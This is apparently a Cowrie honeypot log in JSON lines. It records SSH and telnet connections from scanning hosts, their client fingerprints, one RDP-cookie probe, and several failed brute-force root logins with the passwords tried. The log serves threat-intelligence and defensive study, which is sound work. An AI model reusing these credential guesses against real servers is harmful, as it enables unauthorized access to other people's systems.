{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:28.762077Z","src_ip":"43.130.16.4","session":"2362fde6ead9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:28.830585Z","src_ip":"43.130.16.4","session":"2362fde6ead9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Peter","message":"login attempt [root/Peter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:29.137010Z","src_ip":"43.130.16.4","session":"2362fde6ead9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:30.208827Z","src_ip":"43.130.16.4","session":"2362fde6ead9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.28.49.249","src_port":26866,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bd3c2ef9a88","protocol":"telnet","message":"New connection: 139.28.49.249:26866 (10.17.0.5:23) [session: 2bd3c2ef9a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:34.598052Z"}
{"eventid":"cowrie.session.closed","duration":39.385759115219116,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:50.307206Z","src_ip":"192.119.13.58","session":"3ddf71f3f98c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.44429802894592,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:55.562618Z","src_ip":"192.119.13.58","session":"d025429a2cf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.89.56","src_port":60820,"dst_ip":"159.203.135.109","dst_port":22,"session":"e250e3111db7","protocol":"ssh","message":"New connection: 43.173.89.56:60820 (159.203.135.109:22) [session: e250e3111db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:09.979513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:09.984739Z","src_ip":"43.173.89.56","session":"e250e3111db7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:10.053604Z","src_ip":"43.173.89.56","session":"e250e3111db7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elephant","message":"login attempt [root/elephant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:10.360386Z","src_ip":"43.173.89.56","session":"e250e3111db7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:11.432458Z","src_ip":"43.173.89.56","session":"e250e3111db7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":52744,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9cbc4eddb16","protocol":"ssh","message":"New connection: 194.59.206.2:52744 (159.203.135.109:22) [session: f9cbc4eddb16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:15.665612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:15.671266Z","src_ip":"194.59.206.2","session":"f9cbc4eddb16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:15.763272Z","src_ip":"194.59.206.2","session":"f9cbc4eddb16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:15.858668Z","src_ip":"194.59.206.2","session":"f9cbc4eddb16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":25146,"dst_ip":"159.203.135.109","dst_port":22,"session":"20463e6379f4","protocol":"ssh","message":"New connection: 38.93.206.2:25146 (159.203.135.109:22) [session: 20463e6379f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:24.290066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:24.294607Z","src_ip":"38.93.206.2","session":"20463e6379f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:24.344945Z","src_ip":"38.93.206.2","session":"20463e6379f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1475369","message":"login attempt [root/1475369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:24.496083Z","src_ip":"38.93.206.2","session":"20463e6379f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":61845,"dst_ip":"10.17.0.5","dst_port":22,"session":"04a660bfc974","protocol":"ssh","message":"New connection: 152.42.212.128:61845 (10.17.0.5:22) [session: 04a660bfc974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:25.543069Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:25.547016Z","src_ip":"152.42.212.128","session":"04a660bfc974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:25.550229Z","src_ip":"152.42.212.128","session":"04a660bfc974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:25.555312Z","src_ip":"38.93.206.2","session":"20463e6379f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":50482,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e6f887f6c70","protocol":"ssh","message":"New connection: 103.149.28.157:50482 (10.17.0.5:22) [session: 4e6f887f6c70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:25.858392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:25.862503Z","src_ip":"103.149.28.157","session":"4e6f887f6c70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:26.110623Z","src_ip":"103.149.28.157","session":"4e6f887f6c70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.39.191","src_port":59526,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f0a6b3ff53e","protocol":"ssh","message":"New connection: 43.153.39.191:59526 (159.203.135.109:22) [session: 8f0a6b3ff53e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:26.771456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:26.775644Z","src_ip":"43.153.39.191","session":"8f0a6b3ff53e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:26.844338Z","src_ip":"43.153.39.191","session":"8f0a6b3ff53e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"737373","message":"login attempt [root/737373] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:26.857873Z","src_ip":"103.149.28.157","session":"4e6f887f6c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pradeep","message":"login attempt [root/pradeep] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:27.148625Z","src_ip":"43.153.39.191","session":"8f0a6b3ff53e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:28.106642Z","src_ip":"103.149.28.157","session":"4e6f887f6c70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:28.219702Z","src_ip":"43.153.39.191","session":"8f0a6b3ff53e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":47354,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e9a85623e97","protocol":"ssh","message":"New connection: 2.57.122.238:47354 (159.203.135.109:22) [session: 5e9a85623e97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:34.201946Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:34.309350Z","src_ip":"2.57.122.238","session":"5e9a85623e97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":47326,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7adde602d59","protocol":"ssh","message":"New connection: 109.237.96.109:47326 (159.203.135.109:22) [session: a7adde602d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:34.893350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:34.935438Z","src_ip":"109.237.96.109","session":"a7adde602d59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:34.999117Z","src_ip":"109.237.96.109","session":"a7adde602d59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.16.4","src_port":53060,"dst_ip":"159.203.135.109","dst_port":22,"session":"720694826f8b","protocol":"ssh","message":"New connection: 43.130.16.4:53060 (159.203.135.109:22) [session: 720694826f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:35.096085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:35.100728Z","src_ip":"43.130.16.4","session":"720694826f8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:35.169905Z","src_ip":"43.130.16.4","session":"720694826f8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:35.410512Z","src_ip":"109.237.96.109","session":"a7adde602d59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer123456","message":"login attempt [root/Qwer123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:35.482543Z","src_ip":"43.130.16.4","session":"720694826f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:22:36.503130Z","src_ip":"109.237.96.109","session":"a7adde602d59","protocol":"ssh"}
